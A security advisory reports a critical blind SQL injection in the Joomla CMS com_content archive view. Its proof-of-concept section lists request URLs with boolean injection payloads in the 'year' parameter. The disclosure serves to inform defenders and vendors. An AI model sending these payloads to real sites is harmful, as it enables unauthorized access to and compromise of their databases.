Introduction:
=============
Joomla is a free and open source content management system (CMS) for publishing 
content on
the World Wide Web and intranets and a model–view–controller (MVC) Web 
application framework
that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and 
software design
patterns[citation needed], stores data in a MySQL database, and includes 
features such as page
caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, 
search, and support
for language internationalization.
Joomla had been downloaded 23 million times. Between March 2007 and February 
2011 there had been
more than 21 million downloads. There are over 7,400 free and commercial 
extensions available
from the official Joomla! Extension Directory and more available from other 
sources

Abstract:
=========
A vulnerability laboratory researcher discovered a Blind SQL Injection 
vulnerability on the com_content component of the joomla CMS.


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A blind SQL Injection vulnerability was detected on the com_content component 
of the joomla CMS.
The vulnerability allows an attacker (remote) to inject/execute own sql 
statements on the affected application dbms.
Successful exploitation of the vulnerability can result in compromise of the 
affected application dbms.

Vulnerable Module(s):
                                                          [+] com_content


Proof of Concept:
=================
The vulnerability can be exploited be remote attackers. For demonstration or 
reproduce ...

1: [Site]/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI]     
                                                                                
2: [Site]/joomla/index.php?option=com_content&view=archive&year=-1 or 1=1--   
                                                                                
3: [Site]/joomla/index.php?option=com_content&view=archive&year=-1 or 1=0--
